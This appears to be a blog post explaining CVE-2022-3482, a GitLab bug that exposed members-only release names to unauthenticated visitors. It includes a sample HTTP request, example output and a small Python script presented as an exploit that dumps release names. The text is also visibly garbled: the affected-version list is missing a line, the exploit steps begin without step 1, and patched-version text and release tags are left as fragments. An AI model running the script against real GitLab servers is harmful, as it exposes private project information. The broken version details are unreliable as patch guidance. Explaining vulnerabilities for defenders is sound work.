CVE-2022-3482 is an improper access control issue found in GitLab Community Edition (CE) and Enterprise Edition (EE). This security bug affected a *lot* of GitLab versions—from 11.3, right up until 15.3.5, 15.4.4, and 15.5.2—meaning thousands of private projects could have leaked some pretty sensitive info. Even when a project admin set releases as "members-only," outsiders could still see the release names.

In this post, we'll break down how the bug works, real-world risks, see sample exploit code, and link to official sources. If your team uses GitLab, knowing about this is critical.

The Bug, In Plain English

Normally, you can make your project releases visible *only* to project members in GitLab. That helps keep new software versions under wraps until you're ready. But because of a problem in how GitLab checked user access, anyone—including logged-out visitors—could see the names of all releases, even if the content remained hidden.

Think of it like locking your house, but taping a sign on the door reading: "I'll be gone from August 4-6 with my dogs." The contents are safe, but now thieves know when you're not home!

If you use any of these, you need to update

- GitLab CE/EE 11.3 up to 15.3.4

15.5 up to 15.5.1

Notably, all minor and major versions in those ranges are affected. The patched versions are 15.3.5, 15.4.4, and 15.5.2.

Official advisory: GitLab Security Advisory GHSA-8h38-f5j5-xqcx

Why Does This Matter?

*Release names* can contain secret project names, codenames, version info, or full changelogs. Even if the release notes and downloads are private, a curious attacker can get hints about upcoming software, internal project names, or even security patches before they're public.

Visit any public or even "private" project they've discovered, or try IDs at random.

2. Go to /releases endpoint (for example: https://gitlab.example.com/mygroup/myrepo/-/releases)
3. The list of all release names appears, even if the project is marked private and releases are set for members-only viewing.

Assume a company hosts a private GitLab instance at

https://gitlab.corp.example.com/fintech/secret-money-app

A random visitor, or even a web crawler, could use

GET /fintech/secret-money-app/-/releases
Host: gitlab.corp.example.com

And receive output like this (even if they're not logged in)

[
  {
    "name": "v2.3. - Payment Revamp",
    "tag_name": "v2.3.",
    ...
  },
  {
    "name": "v2.2. - Security Fix for CVE-2022-9999",
    "tag_name": "v2.2.",
    ...
  }
]

Note: The *release body* (i.e. full notes) may still be restricted, but the names/title are enough to leak a lot of info!

Here's a small Python exploit showing how an attacker could dump release names

import requests

TARGET_PROJECT_URL = 'https://gitlab.example.com/mygroup/myrepo';

def dump_releases(project_url):
    api = f"{project_url}/-/releases"
    r = requests.get(api)
    if r.status_code == 200:
        releases = r.json()
        for release in releases:
            print(f"Tag: {release['tag_name']}, Name: {release['name']}")
    else:
        print('Could not fetch releases, status:', r.status_code)

if __name__ == '__main__':
    dump_releases(TARGET_PROJECT_URL)

*No authentication required!* This shows the ease of exploitation.

How Did This Happen?

GitLab's Rails backend had a bug in how it checked access rights. The releases controller forgot to re-use GitLab's strong permission checks for some endpoints that return the release names. This let non-members bypass member-only restrictions.

The GitLab patch commit tightened those permissions.

15.5.2+ or later

If you can't update, restrict network access to your GitLab server, and audit external scans for unwanted exposure.

Useful References

- NVD Entry for CVE-2022-3482
- GitLab Security Release October 25, 2022
- GitLab Patch Commit for the Bug

Final Thoughts

For devs and IT leads: even "metadata" like release names can leak critical business details. Always treat *every piece of private project info* like it could be seen by outsiders in case of these kinds of bugs.

Audit your access controls, keep your server up to date, and remember: sometimes leaking even just a name is enough to give away your secrets.

Timeline

Published on: 01/26/2023 21:15:00 UTC
Last modified on: 02/01/2023 17:17:00 UTC